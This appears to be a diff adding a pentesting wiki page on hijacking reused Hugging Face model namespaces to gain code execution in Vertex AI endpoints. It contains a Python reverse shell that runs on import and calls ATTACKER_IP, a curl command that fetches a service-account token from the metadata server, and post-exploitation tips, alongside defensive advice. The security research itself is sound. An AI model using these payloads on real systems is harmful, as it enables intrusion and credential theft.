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| 1 | +# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Scenario |
| 6 | + |
| 7 | +- Vertex AI Model Garden allows direct deployment of many Hugging Face (HF) models. |
| 8 | +- HF model identifiers are Author/ModelName. If an author/org on HF is deleted, the same author name can be re-registered by anyone. Attackers can then create a repo with the same ModelName at the legacy path. |
| 9 | +- Pipelines, SDKs, or cloud catalogs that fetch by name only (no pinning/integrity) will pull the attacker-controlled repo. When the model is deployed, loader code from that repo can execute inside the Vertex AI endpoint container, yielding RCE with the endpoint’s permissions. |
| 10 | + |
| 11 | +Two common takeover cases on HF: |
| 12 | +- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName. |
| 13 | +- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path. |
| 14 | + |
| 15 | +## Identifying Reusable Namespaces (HF) |
| 16 | + |
| 17 | +- Old author deleted: the page for the author returns 404; model path may return 404 until takeover. |
| 18 | +- Transferred models: the old model path issues 307 to the new owner while the old author exists. If the old author is later deleted and re-registered, the legacy path will resolve to the attacker’s repo. |
| 19 | + |
| 20 | +Quick checks with curl: |
| 21 | + |
| 22 | +```bash |
| 23 | +# Check author/org existence |
| 24 | +curl -I https://huggingface.co/<Author> |
| 25 | +# 200 = exists, 404 = deleted/available |
| 26 | + |
| 27 | +# Check old model path behavior |
| 28 | +curl -I https://huggingface.co/<Author>/<ModelName> |
| 29 | +# 307 = redirect to new owner (transfer case) |
| 30 | +# 404 = missing (deletion case) until someone re-registers |
| 31 | +``` |
| 32 | + |
| 33 | +## End-to-end Attack Flow against Vertex AI |
| 34 | + |
| 35 | +1) Discover reusable model namespaces that Model Garden lists as deployable: |
| 36 | +- Find HF models in Vertex AI Model Garden that still show as “verified deployable”. |
| 37 | +- Verify on HF if the original author is deleted or if the model was transferred and the old author was later removed. |
| 38 | + |
| 39 | +2) Re-register the deleted author on HF and recreate the same ModelName. |
| 40 | + |
| 41 | +3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load: |
| 42 | +- Side effects in __init__.py of the repo |
| 43 | +- Custom modeling_*.py or processing code referenced by config/auto_map |
| 44 | +- Code paths that require trust_remote_code=True in Transformers pipelines |
| 45 | + |
| 46 | +4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container. |
| 47 | + |
| 48 | +5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions. |
| 49 | + |
| 50 | +Example payload fragment executed on import (for demonstration only): |
| 51 | + |
| 52 | +```python |
| 53 | +# Place in __init__.py or a module imported by the model loader |
| 54 | +import os, socket, subprocess, threading |
| 55 | + |
| 56 | +def _rs(host, port): |
| 57 | + s = socket.socket(); s.connect((host, port)) |
| 58 | + for fd in (0,1,2): |
| 59 | + try: |
| 60 | + os.dup2(s.fileno(), fd) |
| 61 | + except Exception: |
| 62 | + pass |
| 63 | + subprocess.call(["/bin/sh","-i"]) # Or python -c exec ... |
| 64 | + |
| 65 | +if os.environ.get("VTX_AI","1") == "1": |
| 66 | + threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() |
| 67 | +``` |
| 68 | + |
| 69 | +Notes |
| 70 | +- Real-world loaders vary. Many Vertex AI HF integrations clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some uses require trust_remote_code=True. |
| 71 | +- The endpoint typically runs in a dedicated container with limited scope, but it is a valid initial foothold for data access and lateral movement in GCP. |
| 72 | + |
| 73 | +## Post-Exploitation Tips (Vertex AI Endpoint) |
| 74 | + |
| 75 | +Once code is running inside the endpoint container, consider: |
| 76 | +- Enumerating environment variables and metadata for credentials/tokens |
| 77 | +- Accessing attached storage or mounted model artifacts |
| 78 | +- Interacting with Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.) |
| 79 | +- Persistence in the model artifact if the platform re-pulls the repo |
| 80 | + |
| 81 | +Enumerate instance metadata if accessible (container dependent): |
| 82 | + |
| 83 | +```bash |
| 84 | +curl -H "Metadata-Flavor: Google" \ |
| 85 | + http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
| 86 | +``` |
| 87 | + |
| 88 | +## Defensive Guidance for Vertex AI Users |
| 89 | + |
| 90 | +- Pin models by commit in HF loaders to prevent silent replacement: |
| 91 | + |
| 92 | +```python |
| 93 | +from transformers import AutoModel |
| 94 | +m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>") |
| 95 | +``` |
| 96 | + |
| 97 | +- Mirror vetted HF models into a trusted internal artifact store/registry and deploy from there. |
| 98 | +- Continuously scan codebases and configs for hard-coded Author/ModelName that are deleted/transferred; update to new namespaces or pin by commit. |
| 99 | +- In Model Garden, verify model provenance and author existence before deployment. |
| 100 | + |
| 101 | +## Recognition Heuristics (HTTP) |
| 102 | + |
| 103 | +- Deleted author: author page 404; legacy model path 404 until takeover. |
| 104 | +- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content. |
| 105 | + |
| 106 | +```bash |
| 107 | +curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location" |
| 108 | +``` |
| 109 | + |
| 110 | +## Cross-References |
| 111 | + |
| 112 | +- See broader methodology and supply-chain notes: |
| 113 | + |
| 114 | +{{#ref}} |
| 115 | +../../pentesting-cloud-methodology.md |
| 116 | +{{#endref}} |
| 117 | + |
| 118 | +## References |
| 119 | + |
| 120 | +- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) |
| 121 | +- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) |
| 122 | + |
| 123 | +{{#include ../../../banners/hacktricks-training.md}} |
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